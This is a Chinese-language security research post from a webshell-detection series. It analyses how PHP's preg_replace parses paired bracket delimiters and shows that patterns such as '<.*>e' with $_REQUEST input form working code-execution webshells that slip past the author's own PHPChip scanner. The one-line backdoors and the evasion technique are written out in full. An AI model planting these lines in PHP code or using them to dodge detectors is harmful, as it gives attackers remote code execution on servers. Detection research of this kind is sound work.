没死透的正则exec（二）

> 这是代码审计知识星球中Webshell专题的第4篇文章。

#Webshell检测那些事# 书接上文。我对`preg_replace`的第一个参数进行fuzz，结果找到了一个利用数组进行绕过的方法。但我并不满足于此，我相信这个参数仍然有很多待挖掘的宝藏。

fuzz有时候效果并不理想，原因可能是设计fuzz的思路不对，或者无脑fuzz效率太低。既然PHP是开源项目，我们直接去底层看看`preg_replace`的实现，找找其中一些有趣的点，效果可能会更好。

所以我找了个PHP 5.6的源码翻了起来。我很快关注到了这个`pcre_get_compiled_regex_cache`函数，这个函数用于处理`preg_replace`的第一个参数，正是我们需要的。其中有一部分代码非常有趣：

```
p = regex;

/* Parse through the leading whitespace, and display a warning if we
       get to the end without encountering a delimiter. */
// ...

/* Get the delimiter and display a warning if it is alphanumeric
       or a backslash. */
// ...

start_delimiter = delimiter;
if ((pp = strchr("([{< )]}> )]}>", delimiter)))
    delimiter = pp[5];
end_delimiter = delimiter;

pp = p;

if (start_delimiter == end_delimiter) {
    /* We need to iterate through the pattern, searching for the ending delimiter,
           but skipping the backslashed delimiters.  If the ending delimiter is not
           found, display a warning. */
    // ...
} else {
    /* We iterate through the pattern, searching for the matching ending
         * delimiter. For each matching starting delimiter, we increment nesting
         * level, and decrement it for each matching ending delimiter. If we
         * reach the end of the pattern without matching, display a warning.
         */
    // ...
}
```

我省略了很多，因为这些代码前面的注释足以说明他们的作用。

第一段注释，说明了解析正则的时候会忽略掉正则前面所有的空白字符

第二段注释，说明delimiter不能是字母、数字或者反斜线。

> delimiter就是正则里的分隔符，比如`/.*/e`这个正则，它的delimiter是`/`。很显然，delimiter是有两个的，分别是start_delimiter和end_delimiter。

第三段注释，当`start_delimiter == end_delimiter`时，分隔符只有一个符号。

第四段注释，当`start_delimiter != end_delimiter`时，分隔符有两个符号。

第四段就是有趣的点了，我们平时日常开发或审计的过程中，通常遇到的正则表达式分隔符，要不就是斜线`/`，要不就是竖线`|`，也有见过井号`#`、波浪线`~`之类的，但甭管怎样他们都属于`start_delimiter == end_delimiter`这种情况。

但PHP的正则是支持使用"括号"这种成对出现的符号作为分隔符的，只要正则两侧的分隔符能够组成一对都是合法分隔符，比如：

```php
preg_replace('(.*)e', '\0', $_REQUEST[2333]);
preg_replace('[.*]e', '\0', $_REQUEST[2333]);
preg_replace('<.*>e', '\0', $_REQUEST[2333]);
preg_replace('{.*}e', '\0', $_REQUEST[2333]);
```

这种比较奇葩的正则表达式分隔符，如果Webshell检测引擎没有正确地进行解析，就有可能被绕过。

很可惜的是，我当时比赛时使用这几个Payload对QT引擎进行了测试，并没有成功。

但是但是，我用这个方法绕过了我自己写的开源项目PHPChip，可以说是自己日自己了🤣。PHPChip是我几年前做的一个项目，专门用来查找PHP中具有动态特性的代码。

PHPChip对于`e`模式的正则Webshell也能成功检测：

```
D:\tmp\webshell
λ php chip.phar check 1.php

==========

danger:D:\tmp\webshell\1.php
preg_replace中正则表达式包含e模式，可能存在远程代码执行的隐患

1:<?php
2:
3:preg_replace('|.*|e', $_REQUEST[1], $_REQUEST[2]);
4:
```

但是，我们看看它解析正则表达式时的代码：

```
43        public static function create($data)
44        {
45            if (empty($data)) {
46                return new self('', '', '');
47            }
48
49            $delimiter = $data[0];
50            if ($delimiter == "(") {
51                $delimiter = ")";
52            }
53
54            $j = strlen($data) - 1;
55
56            while (0 < $j) {
57                if ($delimiter == $data[$j]) {
58                    break;
59                }
60                $j--;
61            }
62
63            if (0 === $j) {
64                throw RegexFormatException::create($data);
65            }
66
67            $regex = substr($data, 1, $j - 1);
68            $flags = substr($data, $j + 1);
69
70            return new self($regex, $delimiter, $flags);
71        }
```

这里显然只考虑了小括号`()`的情况。所以，我们使用其他三种括号，即可绕过PHPChip的检测。比如：

```
1  <?php
2  preg_replace('<.*>e', '\0', $_REQUEST[2333]);
3
```

```
D:\tmp\webshell
λ cat 1.php
<?php
preg_replace('<.*>e', '\0', $_REQUEST[2333]);

D:\tmp\webshell
λ php chip.phar check 1.php
```